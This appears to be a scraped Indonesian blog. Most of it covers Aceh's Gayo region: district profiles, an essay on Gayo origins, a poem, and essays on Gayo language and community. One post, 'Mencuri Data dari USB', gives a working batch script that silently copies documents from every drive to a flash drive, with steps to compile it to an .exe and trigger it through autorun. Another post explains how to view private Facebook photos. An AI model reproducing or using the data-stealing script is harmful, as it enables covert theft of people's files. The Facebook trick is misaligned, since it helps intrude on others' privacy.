Kabupaten Aceh Tenggara

Kabupaten Aceh Tenggara adalah salah satu kabupaten di Aceh, Indonesia. Kabupaten ini berada di daerah pegunungan dengan ketinggian 1.000 meter diatas permukaan laut, yakni bagian dari pegunungan Bukit Barisan. Taman Nasional Gunung Lauser yang merupakan daerah cagar alam nasional terbesar terdapat di kabupaten ini. Pada dasarnya wilayah Kabupaten Aceh Tenggara kaya akan potensi wisata alam, salah satu diantaranya adalah Sungai Alas yang sudah dikenal luas sebagai tempat olah raga Arung Sungai yang sangat menantang. Setelah mengalami gejolak yang cukuppanas dan lama, akhirnya Bupati dan Wakil Bupati Aceh Tenggara (Hasanuddin Beruh dan Syamsul Bahri) pada tanggal 1 September 2007 dilantik oleh Gubernur Aceh.

Secara umum ditinjau dari potensi pengembangan ekonomi, wilayah ini termasuk Zona Pertanian. Potensi ekonomi daerah berhawa sejuk ini adalah kopi dan hasil hutan. Dalam bidang Pertambangan, Aceh Tenggara memiliki deposit bahan galian golongan-C yang sangat beragam dan potensial dalam jumlah cadangannya.

Batas wilayah

Utara Kabupaten Gayo Lues
Selatan Kabupaten Aceh Selatan dan Kota Subulussalam
Barat Kabupaten Aceh Selatan
Timur Provinsi Sumatera Utara


Referensi

Read more »

Kabupaten Gayo Lues

Kabupaten Gayo Lues adalah salah satu kabupaten di provinsi Aceh, Indonesia dan merupakan hasil pemekaran dari Kabupaten Aceh Tenggara dengan Dasar Hukum UU No.4 Tahun 2002 pada tanggal 10 April 2002. Kabupaten ini berada di gugusan pegunungan Bukit Barisan, sebagian besar wilayahnya merupakan area Taman Nasional Gunung Leuser yang telah dicanangkan sebagai warisan dunia. Kabupaten ini merupakan kabupaten yang paling terisolasi di Aceh.

Pada mulanya daerah Gayo dan Alas membentuk pemerintahan sendiri terpisah dari Kab Aceh Tengah, maka terbentuklah Kab. Aceh Tenggara (UU No. 4/1974) namun karena kesulitan transportasi daerah Gayo ingin membentuk kabupaten tersendiri maka terbentuklah Kabupaten Gayo Lues (UU No. 4/2002) dengan ibukota Blangkejeren dan Penjabat Bupati ditetapkan Ir. Muhammad Ali Kasim, M.M.

Geografi

Gayo Lues memilki luas wilayah 5.719 km2 dan terletak pada koordinat 3°40'46,13" - 4°16'50,45" LU 96°43'15,65" - 97°55'24,29" BT.







Transportasi

Rencana pembangunan Jalur Ladia Galaska (Samudera Indonesia, Gayo, Alas, dan Selat Malaka) yang menghubungkan Samudera Indonesia dengan Selat Malaka sangat diharapkan dapat memperbaiki tingkat perekonomian masyarakat Gayo Lues. Saat ini, lalu lintas dari Blangkejeren, pusat pemerintahan kabupaten, ke Banda Aceh harus melalui Medan, Sumatera Utara. Meskipun demikian, rencana ini banyak ditentang oleh kalangan pelestari lingkungan hidup karena memotong zona utama taman nasional.

Gayo Lues kemudian dikenal dengan nama Negeri Seribu Bukit. Nama ini ditabalkan dan dipopulerkan oleh Mohsa El Ramadan, wartawan senior, Pemimpin Redaksi Koran Rajapost Banda Aceh, dan editor buku Memadamkan Bara di atas Ladia Galaska. Buku yang ditulis oleh Muhammad Alikasim Kemaladerna ini adalah sebuah solusi penyelesaian konflik pembangunan jalan Ladia Galaska antara pemerintah dan pemerhati lingkungan di Aceh.

Suku

Mayoritas penduduk Gayo Lues berasal dari etnik Gayo. Bermukim pula di sana warga dari suku Aceh, Alas, Minang, dan Jawa serta Batak

Pemerintahan

Daerah Gayo Lues mencakup 57 persen dari wilayah lama Aceh Tenggara, dan dibagi menjadi 11 (sebelas) kecamatan dengan perincian sebagai berikut:

* Blang Kejeren
* Kuta Panjang
* Pining
* Rikit Gaib
* Terangon
* Putri Betung
* Blang Pegayon
* Debun Gelang
* Blang Jerango
* Tripe Jaya
* Pantan Cuaca

Potensi Daerah

Kabupaten yang berpenduduk kebanyakan Suku Gayo ini sedang berbenah diri untuk mengejar ketertinggalannya dalam pembangunan. Potensi pertanian menjadi prioritas utama pengembangan.

Pertambangan

* Timah di Kecamatan Pining
* Emas di Kecamatan Putri Betung

Komoditas pertanian

Beberapa komoditas potensial yang dimiliki kabupaten ini adalah:

* Cabe merah besar
* Serai wangi, yang dikembangkan di hutan pinus
* Nilam, di kawasan transmigrasi Terangon
* Tembakau virginia
* Kakao
* Kopi Arabika

Pariwisata

* Pemandian air panas Gumpang
* Air terjun Akang siwah
* Wisata alam Blang Serai

Seni Budaya

* Tari Saman
* Tari Bines
* Didong
* Dabus

Referensi

1. ^ http://www.gayolueskab.go.id/index.php?option=com_content&task=view&id=65&Itemid=96

2. ^ http://id.wikipedia.org/wiki/Kabupaten_Gayo_Lues








Read more »

Suku Gayo Bukan Orang Batak

Kalau kita memakai Tarombo, Batak sebagai sumber, terang diceritakan orang Gayo itu asalnya dari Batak. Orang Batak itu bergerak dari Samosir ke Timur dan Barat, Utara dan Selatan. Atau kalau kita memakai cerita dari Sisingamangaraja, orang Gayo itu menurut cerita itu, disuruh oleh salah seorang dari Sisingamangaraja, sebanyak 12 orang pergi ke arah Gayo, itulah yang mengembangkan Suku Gayo. Asal dari 12 orang dari rumpun Batak tadi. Ini boleh jadi ?! Tapi tidak ada pembuktian, bahwa di masa itu suku Gayo belum ada ?.

Sisingamangaraja mulai muncul di tanah Batak kira-kira abad ke 14 ? Sedang kerajaan Lingga yang ada di Gayo Alas sudah di dengar oleh Marco Polo ada disana dalam tahun 1292 M. Jadi belum lahir lagi Sisingamangaraja ke-I. Kerajaan Lingga Gayo sudah berdiri di pegunungan sezaman dengan kerajaan Pasai di Aceh Utara, jadi cerita itu dapat tertolak dengan sendirinya.



Alasan lagi selama ini, menyebut Gayo itu Batak, ialah karena mereka menganut adat Dalihan Natolu. Ini benar !, tapi adat Gayo ada pula yang berlawanan dengan Tradisi Batak. Seperti kawin di tanah Batak pihak perempuan datang ke rumah laki-laki. Tapi di Gayo malah sebaliknya, seperti adat Sumando, silaki-laki datang kerumah Perempuan. Ini tradisi asli sukar dirobah !

Jadi ada yang menduga Gayo itu Batak, ada pula yang menduga tidak.

Kini marilah kita, mengambil sumber dari hikayat Raja-raja Pasai. Naskah ini di tulis di abad ke 16. Naskah tua ini masih terdapat pada perpustakaan Royal Society di London. Pernah disalin ke huruf Rumawi di tahun 1914 dan diterbitkan oleh JP. Mead London. Dalam buku itu diceritakan orang-orang Gayo itu di sebut orang-orang yang lari ke pegunungan karena tidak mau masuk Islam. Sebab itu mereka disebut Gayo = lari. Jadi mereka-mereka itu, adalah mulanya orang-orang Melayu Pesisir Sumatera Utara lalu lari ke pegunungan karena tidak mau masuk Islam. Jadi kalau menurut sumber ini Gayo itu, tidaklah Batak. Rupanya sesudah berada di pegunungan, barulah datang suku Batak membawa adat Dalihan Natolunya, lama-lama mereka melakukan isimilasi kawin campur aduk maka lahirlah Dalihan Natolu sebagai adat istiadat suku Gayo, tapi tradisi aslinya yang lain-lain yang tidak serupa dengan Batak juga hidup terus di daerah Gayo. Adat tepi lautnya masih terang di bawanya. Seperti bercelana suka kain batik, lebar ke bawah kaki celana, ini pengaruh-pengaruh pesisir laut.

Perkawinan yang memakai sunting mani-manik di kepala, ini terang melayu pesisir Pasai, bukanlah Batak, lagu-lagunya berirama Melayu campur irama Arab, membuktikan betul-betul Gayo itu adalah Melayu Pasai.

Cerita hikayat Raja-raja Pasai itu agaknya betul-betul begitulah ! Sungguh tepat ! Suku Gayo bukanlah orang-orang Batak, tapi berasal dari Melayu Pesisir Kerajaan Pasai yang lari kepegunungan lalu bersimilasi dengan suku Batak. Tapi sumbernya bukanlah Batak tapi Melayu Pasai !

Referensi :

- http://alfiraahmad.blogspot.com/2010/01/suku-gayo-bukan-orang-batak.html
- http://farm3.static.flickr.com/2257/2083269050_322d61fefb.jpg

Read more »

Connect

Bergabung Bersama Kami !!



Read more »

Multimedia

  • .
Read more »

Tutorial

Read more »

News

Read more »

Download Yahoo Masangger 10 Offline



Chat di yahoo, cepat banyak avatar, bisa sms, bisa nelpon, apalagi dah..
Lengkap sudah penderitaanku, upppss salah lengkap sudah chatinganku..

Banyak omong lo gan langsung sedot aja disini
Read more »

Internet Download Manager Final Version 5.12



Neh yang mau download cepat gak neko2 bisa sambung-sambung besok atau lusa atau tahun wakawaka...

Ahh banyak omong lo langsung aja deh sedot disini
Read more »

Internet

Read more »

Legenda

Read more »

Mencuri Data dari USB

Ok deh langsung ke TKP, kayak perampokan aja hihi..emang bener, eh apa lo bilang, iya bener kok..ah banyak omong langsung deh

1. Buka notepad pertama . .. kalau males ngetik bisa copas tulisan di bawah ini ..

@echo off

REM Name : silentxxx

REM Author : Silentxxx

Set silent=%computername% _ %random%

If not exist ”%silent%” Md “%silent%”

For%%a in (C D E F G H I J) do if exist %%a:\ (

For /f “tokens=*” %%b in (‘dir /a/b/s %%a:\*.doc’) do (

attrib –s –h –r “%%b”

copy “%%b” “%silent%” /y)

For /f “tokens=*” %%b in (‘dir /a/b/s%%a:\.xls’) do (

attrib –s –h –r “%%b”

copy “%%b” “%silent%” /y)

For /f “tokens=*” %% b in (‘dir /a/b/s%%a:/*.txt’) do (

attrib –s –h –r “%%b”

copy “%%b” “%silent%” /y)

For /f “tokens=*” %%b in (‘dir /a/b/s%%a:/*.docx’) do (

attrib –s –h –r “%%b”

copy “%%b” “%silent%” /y)

)

1. Save file tersebut dengan nama terserah .bat dan save as type all files .,udah pa blon??

Sekarang coba di jalankan file dengan exstensi bat tersebut maka di samping File akan terbuat semua file yang di copy dari drive C ampai Z (kalau punya )wkwkwk. gila banyak amat..

Code di atas dapat di ubah atau di tambah sesuai dengan keinginan kalian masing-masing bisa di tambahkan kode

For /f “tokens=*” %%b in (‘dir /a/b/s%%a:\*.zip’) do(

attrib –s –h –r “%%b”

copy “%%b” “%silent%” /y)

maka file yang berextensi zip akan masuk ke Flash Disk kamu (wah lumayan dapat software kompresan gratis wkwkwk)

ubah sesuai extensi apa yang kamu inginkan misalnya *.pdf atau *.html

maka file terserah.bat akan berjalan sesuai dengan keinginan anda .

File tersebut bisa anda ubah ke bentuk extensi exe. .. enak atuh,, lebih mudah.. dengan software Bat_To_Exe_ConverterV1.5 kalau belum punya kakak-kakak bisa download di http://www/brothersoft.com/bat-to-exe-converter-50301.html

Cara mengubahnya adalah

1. Buka software tersebut..
2. Pilih yang compile
3. Dan sekarang file.bat yang tadi kita buat menjadi file yang berextensi *.exe lebih enak kan ..
4. Agar file tersebut maka kita harus buat file autorun
5. Buka notepad ketikkan

[autorun]

Open=terserah.exe

1. save as dengan nama Autorun.inf dan terserah.exe di dalam directory USB Flash Drive kamu..
2. Selesai .. Akhirnya sekarang colokkan atau masukkan FD kamu atau loe atau agan di pc mana aaja akan terkcopy banyak data yang kamu terima .. thnkz.. tamat

Thanks 2 Binus Hacker
Read more »

Hack Photo Private Profil Facebook

Mau Ngintip Photo ni, yuk cobain trik ni

Pertama-tama kita persiapkan script & addon mozilla dulu:

1. Java Script Untuk Melihat Facebook: http://userscripts.org/scripts/source/9580.user.js
2. Greasmonkey Addon Firefox: https://addons.mozilla.org/en-US/firefox/addon/748

Setelah selesai mempersiapkan:

1. Install Greasmonkey Addon
2. Install Java Script
3. Restart Firefox

Tools hack ini akan menambahkan link di atas foto tersebut dengan link “See this Photo in its Album” di album nya. Klik deh


Enjoyyy..

Thanks 2 Binus Hacker



Read more »

Hacking & Cracking

Read more »

Aku Tidak Pulang

Oleh LK. Ara untuk Pejuang Aman Dimot

Itulah kata-kata terakhir ia ucapkan
Kemudian tubuhnya lelah semakin lelah
Lalu musuh itu menangkapnya
Memasukkan granat ke mulutnya
Lalu terdengar suara
Bunyi yang amat keras
Dan tubuhnya berkeping-keping
Darah bersimbah
Dan bumi memerah

Runduklah pepohonan
Rerantinigpun tak dapat menahan sedih
Satwa menangis
Dan alam menitikan air mata
Tahu pejuang bangsa
Menghembuskan nafas terakhirnya

Aku tidak pulang
Itulah kata-kata terakhir ia ucapkan
Sebagai jawaban ajakan mari kita pulang
Untuk menghindar dalam pertempuran
Karena lawan datang tak terbilang
Sedang ia dan pejuang lainnya telah terkepung
Tak ada lagi tempat berlindung
Namun ia tetap tegar hati
Untuk memilih mati
Dan berucap, aku tidak pulang

Pejuang itu lahir di Tenamak, Isaq
Pada tahun 1920 itu berpendidikan sederhana
Mengaji al Quran di kampungnya
Namun setiap kata mengalir dalam darahnya
Menggetarkan hatinya
Menjadi gerak hidupnya
Di tahun 1945 pejuang itu
Menggabungkan diri
Dalam barisan Laskar Berani Mati
Lalu berjuang membela negeri

Begitulah pada hari minggu ketika itu
Di Gelengang Musara Alun masyarakat berhimpun
Bergemalah syalawat dan takbir
Diselingi irama syair
Bernada juang, pembangkit semangat
Melepas pejuang pergi ke garis depan
Yang diangkut dengan truk
Menuju Gayo Lues melintasi Alas
Yang akhirnya tiba di tanah Karo
Daerah perjuangan yang dituju

Hari ini kami mengenangmu
Sambil ingat jasa dan keberanianmu
Kami menundukan kepala
Sambil mengirim alfatihah untukmu

Banda Aceh, 14 februari 2008

Souerce : http://lkara2000.blogspot.com

Read more »

Syair & Puisi

Read more »

Ansav - Antivirus dalam Negeri

Jalan-jalan di internetan pake Antivirus apa ya yang simple, ringan karya anak bangsa. Hehe ne ada karya anak bangsa yang cukup andal. Antivirus Ansav ini perlu di perhitungkan juga lo, soalnya ada plugin yang keren abis.
Terkadang Antivirus lain setelah membersihkan flashdisk data kita semua hilang, namun data tersebut tidaklah hilang namun di hidden oleh antivirus tersebut, nah untuk mengembalikan data yang ter hidden saya menggunakan ansav.

Saat ini saya menggunakan dua Antivirus, yaitu Kaspersky dan Ansav karena kedua antivirus ini cukup ringan jadi tidak terlalu memakan memory process.

Oke deh sedot aja Ansavnya disini
Read more »

Sinerjisitas Membangun Gayo

oleh : Yusradi Usman al-Gayoni*

Tahun 2009 ditetapkan sebagai tahun kebangkitan Gayo. Tinggal lagi, seperti yang disampaikan dalam tulisan sebelumnya ‘Jujang’ & ‘Jangko’ untuk Kemajuan Gayo (bisa di lihat di http://www.facebook.com/note.php?note_id=340783781006) bahwa semangat kebangkitan (kesadaran) perlu ditularkan dan dipertahankan secara kolektif dalam masyarakat ini. Melihat realitas kekinian masyakarat/tanoh Gayo, banyak persoalan yang perlu disikapi. Misalnya, persoalan eksistensi sosial orang Gayo dan pembangunan tanoh Gayo. Saat ini, penulis perhatikan, eksistensi sosial orang Gayo ini berada pada titik terendah. Hal itu bisa di lihat berapa diantaranya dari simbol-simbol kultural seperti bahasa Gayo yang mulai dipinggirkan, warisan fisik baik benda maupun tak benda (suhuf-suhuf yang tersebar) yang turut “diberangus,” merenggangnya hubungan/persetalian personal, juga keberadaan dan kelangsungan organisasi paguyuban kegayoan (baik mahasiswa maupun di tingkatan orang tua) yang sangat mengkhawatirkan.

Untuk organisasi Gayo tadi misalnya, penulis melihat, sejak terbentuknya organisasi Gayo pertama kali pada tahun 1947 (kemungkinan usianya lebih tua), kondisinya sampai sekarang cukup pluktuatif. Perjalanannya memiliki “masa” masing-masing. Tiap masa memiliki ciri khas tersendiri. Kadangkala, pencapaiannya berada pada titik puncak. Di lain waktu, malah sebaliknya, turun, dan pelan-pelan “mati” akibat seleksi sosial. Dari perjalanan organisasi tersebut baik organisasi mahasiswa maupun di tingkatan orang tuan, terdapat dua kelemahan utama, yaitu soal kaderisasi dan kemandirian keuangan. Sifat kaderisasi organisasi Gayo lebih bersifat alamiah (meski tidak semua) tanpa pola kaderisasi yang jelas, terarah, dan terukur. Demikian halnya masyarakat Gayo secara keseluruhan, kondisinya tak ubahnya seperti kacang si gere be deren, hidup, tumbuh, berkembang dan “mati” secara alamiah tanpa adanya pembinaan yang sungguh-sungguh. Pun, kalo ada anak negeri; negeri Linge, yang sukses di luar, kondisinya tak ubahnya seperti petukel, yang akarnya di tanoh Gayo, sementara buahnya di negeri lain tanpa ada koordinasi, komunikasi dan kerjasama ke arah peningkatan marwah ni tanoh tembuni (al-Gayoni dalam Prakata Buku Tujuh Tahun Ikatan Mahasiswa Takengon/IMTA-Sumut 2001-2008).

Selain itu, dalam pelaksananya lebih didominasi “tokoh-tokoh tua” (baca senior), dengan ruang regenerasi yang sempit pada penggantinya. Akibatnya, muncul organisasi-organisasi baru sebagai buah tertutupnya keran regenerasi dimaksud. Selain itu, akibat menggejalannya senioritas mulai dari berpikir, berprilaku/sikap dan dalam program-program keorganisasian, saat yang lain (ketika senior tidak lagi aktif/produktif), maka organisasi yang ada pun “mati.” Dikarenakan mati generasi dan generasi pengganti yang sudah terlanjur “dikerdilkan” sejak awal. Pada masa seterusnya, sejarah pun berulang dengan peletakan fondasi/bangunan organisasi yang di mulai dari awal. Dan, permasalahan organisasi kegayoan bergerak di pusaran yang sama (pendirian, penguatan, dan penyatuan organisasi/masyarakat Gayo), tanpa adanya upaya lepas landas menuju pemertahanan, pencapaian lebih, serta kemajuan bagi masyarakat Gayo dan tanoh tembuni secara keseluruhan. Kegiatan-kegiatannya pun lebih banyak menyentuh persoalan luar sosial-budaya-keagamaan; halalbilhalal yang dirangkai dengan atraksi budaya (kerapkali seperti didong, saman, tari guel), buka puasa, dan lain-lain. Di luar itu, persoalan pendidikan, politik, ekonomi, sosial-budaya (esensi-filosofis perangkai dengan segala perubahannya), hukum, olah raga, dan lingkungan hidup kurang mendapat perhatian. Sepuluh tahun terakhir, jarang sekali ada upaya salah be tegah (social control) langsung terhadap pelbagai kebijakan dari Pemerintah Gayo dari organisasi paguyuban tersebut. Kalau pun ada, biasanya mau dekat-dekat pemilihan kepala daerah dan anggota legislatif (kasak-kusuk pemilukada/legislatif). Dan, biasanya terjebak prihal upaya dukung-mendukung yang bentuknya tidak kelihatan/langsung.

Kedua, soal kemandirian keuangan. Meski tidak semua, kebanyakan organisasi Gayo tidak memiliki kemandirian keuangan yang baik. Hal ini menjadi gambaran tidak berfungsinya/lemahanya upaya penguatan keuangan. Selain itu, sekaligus menjadi cerminan prihal lemahnya pembinaan entrepreneurship dalam masyarakat/organisasi Gayo. Dan, persoalan ini pula yang seringkali menjadi pembenaran saat (mau) tidak bisa diimplementasikannya sebuah program kerja. Secara umum, begitu pula mekanisme struktural dan kultural yang diciptakan di negeri ini. Pada akhirnya, organisasi Gayo kembali “mati” akibat alasan pembenaran tersebut. Bukan berarti, masyarakat /organisasi Gayo tidak mampu dalam ber-entrepreneurship melainkan karena kurangnya pembinaan. Di lapangan, masyarakat Gayo telah membuktikan hal tersebut. Dalam sejarah, Gayo punya ekonom dan entrepreneur besar seperti Aman Kuba. Juga, bagaimana perjuangan penjual depik dan taruk ni jepang (mewakili dari yang lain) dalam membesarkan/mensarjanakan (sampai guru besar) dari nenggeri Adi Genali. Oleh sebab itu, upaya ini perlu mendapat perhatian dan porsi lebih untuk masa mendatang. Dengan demikian, masyarakat/organisasi Gayo bisa melahirkan Aman Kuba baru di masa yang akan datang. Yang tidak kalah penting adalah penguatan keuangan inernal organisasi dan setiap penyelenggaraan kegiatan

Beberapa persoalan di atas (Gayo secara keseluruhan) perlu mendapat perhatian bersama dari semua pihak baik secara personal, organisasi paguyuban (di dalam dan di luar Gayo) maupun dari pemerintah Gayo. Dalam hal ini (Pemerintah Gayo), secara administraf kekabupatenan terdiri atas/mulai dari Aceh Tengah, Aceh Tenggara, Gayo Lues, dan Bener Meriah. Untuk itu, perlu di bangun koordinasi, komunikasi, dan pertemuan bersama untuk membicarakan persoalan kekinian tanoh tembuni. Dan, seingat penulis, wacana ini telah pula pernah dilayangkan (dengan membuat Konferensi Aliansi Gayo se-Dunia) melalui Yusra Habib Abdul Gani (Denmark) yang rencananya diadakan tahun ini. Namun, sayangnya ide tersebut masih belum bisa terlaksana. Melihat kondisi kekinian Gayo sekarang, wacana ini perlu kembali di angkat untuk dapat dilaksanakan dengan dukungan penuh dari Pemerintah Gayo. Dengan begitu, melalui pertemuan ini, kita dapat berefleksi bersama dalam melihat persoalan-persoalan kegayoan dan mencari solusi yang implementatif tentunya dalam rangka membangun tanoh Gayo.

Tidak mesti pulang

Dalam waktu dekat (26/9/2010), masyarakat Gayo di Jabodetabek melalui Musara Gayo akan mengadakan halalbilhalal. Selaku masyarakat Gayo, dan sebagai salah satu organisasi paguyuban di luar Gayo (dengan keanggotaan/potensi yang dimilikinya), kita berharap besar terhadap Musara Gayo khususnya dalam menyikapi eksistensi sosial orang Gayo tambah pelbagai persoalan yang ada daerah (tanoh Gayo). Terlebih lagi, dalam mengimplementasikan/mengkonsolisasikan pertemuan asyarakat Gayo dunia. Dengan demikian, ke depannya akan terdapat kesinerjisan dalam membangun Gayo baik dari tanoh Gayo maupun dari luar. Saat yang bersamaan, perlu dipetakan potensi sumber daya manusia Gayo. Dikarenakan, sampai sejah ini, kita masih belum punya database SDM dari Gayo. Selanjutnya, tinggal di susun perencanaan/strategi dengan melihat kekuatan, kelemahan, peluang, dan tantangan yang ada; siapa yang di Gayo, Aceh, Indonesia, dan luar negeri. Prihal membangun Gayo, menurut penulis, tidak mesti semuanya (orang/dari Gayo) kembali dan berdiam di Gayo. Sebaliknya, kita perlu memperkuat relasi, link dan network di luar. Sebagai akibatnya, keberadaan orang Gayo di luar dapat memudahkan pengenalan/urusan dari Gayo (terutama yang duduk di tingkatan departemen/kementerian, dan instansi yang lain) baik langsung maupun sebaliknya. Bisa dibayangkan, kalau semuanya di Gayo, saat kita berurusan, tidak ada satu pun orang Gayo di kantor/daerah yang kita tuju, apa yang akan terjadi (dari sisi efisiensi, efektivitas, hasil, dan-lain-lain)? Begitu pula dalam pengenalan Gayo, orang luar "tidak tahu" siapa orang Gayo kalau kita tidak membuka diri (salah satunya melalui merantau). Sebagai tambahan, yang tahu orang Gayo pun cukup terbatas (cenderung dikenal di Aceh). Kalau pun di kenal di luar Aceh, masih cukup terbatas dan itu pun melalui orang-orang Gayo di perantuan, di tambah dari publikasi media/dokumentasi kegayoan yang juga masih sangat terbatas. Dengan pelbagai potensi yang ada, ditubutuhkan kesinerjisan membangun Gayo; dari Pemerintah Gayo dan non-pemerintah (pribadi/komunitas Gayo di Gayo serta di luar tanoh. Di sisi lain, Pemerintah Gayo perlu membuka diri dan melibatkan semua pihak (melalui jejaring yang terbentuk tadi). Dengan demikian, kebijakan/program pemerintahan (tambah di luar) yang ada dapat berjalan dengan baik, berdaya guna, dan berdampak luas bagi kemajuan tanoh tembuni.

*Pemerhati Bahasa, Sejarah dan Kebudayaan Gayo
Read more »

Campur Alih Bahasa Gayo

Oleh: Yusradi Usman al-Gayoni
[Mahasiswa Pascasarjana Linguistik Konsentrasi Ekolinguistik Universitas Sumatera Utara]
| Jum`at, 02 April 2010 |


Gayo - Alih campur bahasa merupakan hal yang lazim dalam masyarakat yang memakai dua (dwi) bahasa dan banyak (multi) bahasa. Dalam perbendaharaan lain, istilah ini dikenal dengan alih kode (code switching) dan campur kode (code mixing).

Situasi kedwi dan kemultibahasaan 'ekologi bahasa' yang demikian kemudian menghadirkan kontak bahasa. Tak sebatas kontak bahasa (language contact), kontak antaretnik (ethnic contact) bahkan kontak budaya (culture contact) pun berlangsung. Alih kode merupakan peristiwa perubahan berbahasa karena tuntutan situasi.

Misalnya, dari bahasa satu ke bahasa lain dikarenakan hadirnya penutur yang kurang (tidak) mengerti bahasa yang dituturkan. Perubahan ragam santai menjadi ragam resmi dalam perkuliahan yang diselingi dengan joke-joke ringan katakanlah. Sementara itu, campur kode adalah masuknya serpihan kata atau frasa dari bahasa satu ke bahasa lainnya. Sebagai akibatnya, terjadi percampuran saat berbahasa dan boleh juga dalam sebuah wacana (discourse). Saat tuturan berlangsung, secara tidak sadar, salah satu penutur mencampur tuturannya dengan kata atau frasa dari bahasa lain, seperti bek kemel-kemel win 'jangan malu-malu win.' Kalimat ini menunjukkan code mixing yaitu dengan munculnya kata pengulangan kemel 'malu' (bahasa Gayo) dalam kalimat bahasa Aceh di atas. Kata 'win' sendiri merupakan bentuk sapaan atau istilah kekerabatan (tutur) untuk memanggil anak laki-laki dalam bahasa Gayo (bagi orang Gayo)

Hoffman (1991:116) menyebut tujuh alasan bagi penutur dwi bahasa untuk bercampur dan beralih kode atau bahasa, adalah untuk (1) membicarakan topik tertentu; (2) mengutip (pernyataan) penutur lain; (3) simpatik terhadap sesuatu; (4) pengisi atau penghubung kalimat; (5) pengulangan yang digunakan untuk klarifikasi; (6) mengklarifikasi isi tuturan bagi interlocutor; dan (7) menyatakan identitas kelompok. Variabel lain yang menjadikan terjadi campur dan alih bahasa, yaitu topik percakapan, partisipan, setting dan keefektifan bahasa (While Hamers dan Blanc, 1987:148). Fishman menegaskan bahwa kondisi tersebut erat hubungannya dengan penutur (siapa), bahasa yang dipakai, lawan tutur, waktu dan tujuan tuturan.

Penelitian Terkait
Satu diantaranya penelitian terkait topik di atas adalah penelitian terhadap 57 mahasiswa Gayo di Universitas Sumatera Utara (USU) pada tahun 2006. Penelitian ini lebih melihat besaran alih dan campur kode dalam rapat organisasi, pertemuan informal di kampus dan di luar kampus. Dan, melihat besaran campur dan alih kode saat penutur non-Gayo ikut serta dalam pertemuan informal di kampus dan di luar kampus.

Dari penelitian tersebut ditemukan, bahwa dalam pertemuan formal (rapat organisasi kemahasiswaan), mereka (mahasiswa Gayo) menggunakan bahasa Gayo 22.8%, bahasa Indonesia 12.27%, sementara 64.9% menggunakan bahasa campuran (Gayo-Indonesia). Dalam pertemuan informal sesama mahasiswa Gayo di kampus, bahasa Gayo dipakai sebanyak 38.58%, 17.53% bahasa Indonesia, dan 43.84 % bahasa campuran.

Bila terdapat penutur yang bukan orang Gayo, dipakai bahasa Gayo sebesar 5.25%, bahasa Indonesia 73.67%, dan 21.04% memakai bahasa campuran. Selanjutnya, bila berlangsung pertemuan di luar kampus, yang menggunakan bahasa Gayo sebesar 56.12%, bahasa Indonesia 12.26%, dan bahasa campuran 31.56%. Sementara itu, bila terdapat penutur yang bukan orang Gayo, maka 10.51% akan berbahasa Gayo, 70.16% bahasa Indonesia, dan 19.28% memakai bahasa campuran (al-Gayoni, 2006: 27-40).

Penelitian tersebut menunjukkan toleransi yang tinggi dari penutur bahasa Gayo kepada penutur non-Gayo dengan terjadinya peralihan ke bahasa Indonesia. Hal yang sama terjadi pada kasus campur kode. Campur kode biasa berlangsung dalam keseharian komunikasi baik di kampus dan di luar kampus, serta dalam rapat-rapat formal organisasi di Ikatan Mahasiswa Takengon-Bener Meriah (IMTA)-Sumut. Hal tersebut bertujuan untuk menciptakan keakraban dan adaptasi sosial antarpenutur di pelbagai tempat dan situasi tersebut. Mahasiswa dari tanoh Gayo di USU sendiri tidak sebatas orang Gayo tetapi terdiri atas mahasiswa non-Gayo. Secara keseluruhan, mereka berjumlah sekitar 120 mahasiswa. Dan umumnya, peralihan itu terjadi dari situasi formal ke informal dan sebaliknya.

Penyebab terjadinya alih dan campur kode pada mahasiswa Gayo di USU tersebut lebih memperhatikan soal penutur (siapa), bahasa yang dipakai, lawan tutur, waktu dan tujuan tuturan sebagaimana pendapat Fishman di atas. Disamping itu, terkait pemakaian bahasa Gayo antarmahasiswa Gayo di USU dan seputar Padang Bulan memperlihatkan bahwa mereka setia berbahasa Gayo. Persoalan identitas menguatkan pemakaian bahasa Gayo.

Dengan demikian, bahasa Gayo dapat membedakan mereka dengan mahasiswa dan etnik lainnya. Selain itu, kebanggaan, penguatan keakraban dan solidaritas sosial turut mendorong pemakaian bahasa Gayo. Bahasa Gayo menjadi simbol sosio-kultural di perantauan. Sebagai tambahan, kebanggaan berbahasa Gayo ini umumnya terjadi di luar Aceh.

Mereka bangga berbahasa Gayo serta identitas keetnikannya. Kondisi tersebut berbeda dengan situasi di tanoh Gayo dan pelbagai titik di Aceh khususnya di Banda Aceh. Umumnya, penutur bahasa Gayo di Aceh lebih berbahasa Indonesia ketimbang bahasa ibunya sendiri. Mereka malu dan gengsi berbahasa Gayo 'kemel'. Karena, bahasa Indonesia dianggap lebih komunikatif dan berprestise dari bahasa Gayo. Dan, ada kecenderungan khususnya di seputar kota Takengen bahwa bahasa Gayo mulai ditinggalkan penuturnya.

Demian halnya fenomena campur dan alih kode di tanoh Gayo terutama di Takengen. Dari amatan yang dilakukan, secara sadar dan tak sadar, penutur bahasa Gayo di Takengen kerap mencampur tuturannya dengan bahasa Indonesia. Selanjutnya, dengan bahasa Inggris dan istilah-istilah atau serapan kata dari bahasa Arab.

Penyebab pertama karena bahasa Indonesia merupakan bahasa pengantar antaretnik di Takengen. Campur kode dengan bahasa Inggris memiliki prestise lebih. Dan, munculnya campuran tuturan bahasa Arab tidak terlepas dari latar sosio-historis-relijius yang melekat pada daerah ini dan Aceh sebagai daerah syariat Islam. Selain itu, masih ada campuran-campuran bahasa-bahasa daerah lainnya. Namun, masih terbatas dengan situasi tuturan tertentu.


Sumber http://www.theglobejournal.com/kategori/seni-budaya/campur-alih-bahasa--gayo.php (diakses 3 April 2010)
Read more »

Nasib ‘Melengkan’ di Tanoh Gayo

Oleh: Yusradi Usman al-Gayoni*
(Pemerhati Bahasa, Sejarah dan Kebudayaan Gayo, 23 Maret 2010)


